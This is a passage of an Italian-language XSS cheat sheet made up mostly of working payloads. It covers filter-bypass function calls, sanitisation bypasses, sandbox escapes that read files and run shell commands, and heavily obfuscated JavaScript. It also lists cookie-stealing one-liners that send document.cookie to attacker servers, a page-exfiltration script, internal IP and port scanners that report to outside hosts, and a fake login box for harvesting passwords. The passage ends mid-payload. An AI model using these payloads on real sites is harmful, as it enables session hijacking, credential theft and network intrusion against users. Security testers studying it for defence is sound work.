// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Chiamata arbitraria di funzione (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
C’è del JS code che usa in modo non sicuro dati controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
A causa dell’ampiezza della spiegazione di DOM vulnerabilities è stata spostata in questa pagina:
Lì troverai una spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione su DOM Clobbering attacks.
Potenziamento di Self-XSS
Cookie XSS
Se riesci a triggerare una XSS inviando il payload dentro un cookie, questo di solito è un self-XSS. Tuttavia, se trovi un vulnerable subdomain to XSS, potresti abusare di questa XSS per iniettare un cookie su tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomini (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack:
Puoi trovare un ottimo esempio dell’abuso di questa tecnica in this blog post.
Inviare la tua sessione all’admin
È possibile che un utente possa condividere il suo profilo con l’admin e se il self XSS è presente nel profilo dell’utente e l’admin lo apre, questi attiverà la vulnerabilità.
Session Mirroring
Se trovi un self XSS e la web page ha un session mirroring for administrators, per esempio permettendo ai clienti di chiedere aiuto e affinché l’admin possa aiutarti vedrà ciò che vedi nella tua sessione ma dalla sua sessione.
Potresti far sì che l’administrator trigger your self XSS e rubare i suoi cookie/sessione.
Altri Bypasses
Bypass della sanitizzazione via WASM linear-memory template overwrite
Quando una web app usa Emscripten/WASM, le stringhe costanti (come HTML format stubs) vivono nella writable linear memory. Un singolo in‑WASM overflow (e.g., unchecked memcpy in an edit path) può corrompere strutture adiacenti e reindirizzare le scritture verso quelle costanti. Sovrascrivere un template come “” trasforma l’input sanitizzato in un JavaScript handler value e produce immediata DOM XSS al render.
Consulta la pagina dedicata con workflow di exploitation, DevTools memory helpers e contromisure:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Puoi verificare se i reflected values vengono unicode normalized sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
A causa di RoR mass assignment le virgolette vengono inserite nell’HTML e quindi la restrizione sulle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all’interno del tag.
Esempio di form (from this report), se invii il payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La coppia “Key”,“Value” verrà restituita così:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Quindi, verrà inserito l’attributo onfocus e si verificherà XSS.
Combinazioni speciali
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Se scopri di poter inject headers in a 302 Redirect response puoi provare a far eseguire al browser JavaScript arbitrario. Questo non è banale perché i browser moderni non interpretano il body della risposta HTTP se lo status code è 302, quindi un semplice payload di cross-site scripting è inutile.
In questa segnalazione e questa puoi leggere come testare diversi protocolli dentro il Location header e verificare se qualcuno di essi permette al browser di ispezionare ed eseguire il payload XSS nel body.\
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Solo lettere, numeri e punti
Se riesci a indicare la callback che javascript eseguirà limitata a questi caratteri. Leggi questa sezione di questo post per scoprire come abusare di questo comportamento.
Valid <script> Content-Types to XSS
(From here) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome genererà il seguente errore:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipi di Script per XSS
(From here) Quindi, quali tipi possono essere indicati per caricare uno script?
<script type="???"></script>
La risposta è:
- module (predefinito, niente da spiegare)
- webbundle: Web Bundles è una funzionalità che ti permette di impacchettare una serie di dati (HTML, CSS, JS…) in un file
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permette di migliorare la sintassi degli import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Questo comportamento è stato utilizzato in this writeup per rimappare una libreria su eval in modo da abusarne e provocare XSS.
- speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Content-Types Web per XSS
(Da here) I seguenti Content-Types possono eseguire XSS in tutti i browser:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? non nella lista ma penso di aver visto questo in un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In altri browser altri Content-Types possono essere usati per eseguire JS arbitrario, vedi: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Tipo di contenuto xml
Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Pattern di sostituzione speciali
Quando viene usato qualcosa come "some {{template}} data".replace("{{template}}", <user_input>). L’attaccante potrebbe usare special string replacements per cercare di bypassare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Ad esempio in this writeup, questo è stato usato per eseguire l’escape di una stringa JSON all’interno di uno script ed eseguire codice arbitrario.
Chrome Cache to XSS
XS Jails Escape
Se disponi solo di un insieme limitato di caratteri, consulta queste altre soluzioni valide per problemi di XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se everything is undefined prima di eseguire codice non attendibile (come in this writeup) è possibile generare oggetti utili “dal nulla” per abusare dell’esecuzione di codice arbitrario non attendibile:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accesso indiretto a
require
According to this i moduli sono incapsulati da Node.js all’interno di una funzione, come segue:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Quindi, se da quel modulo possiamo chiamare un’altra funzione, è possibile usare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
In modo simile all’esempio precedente, è possibile use error handlers per accedere al wrapper del modulo e ottenere la funzione require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diverse obfuscations in una pagina: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck più sofisticato: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Payload comuni per XSS
Diversi payloads in 1
Trappola iframe
Indurre l’utente a navigare nella pagina senza uscire dall’iframe e rubare le sue azioni (incluse le informazioni inviate nei forms):
Recuperare Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai alcuni modi per aggirare questa protezione se sei abbastanza fortunato.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trova gli IP interni
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tempi brevi indicano una porta che risponde Tempi più lunghi indicano nessuna risposta.
Consulta la lista delle porte bloccate in Chrome here e in Firefox here.
Box per chiedere credenziali
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
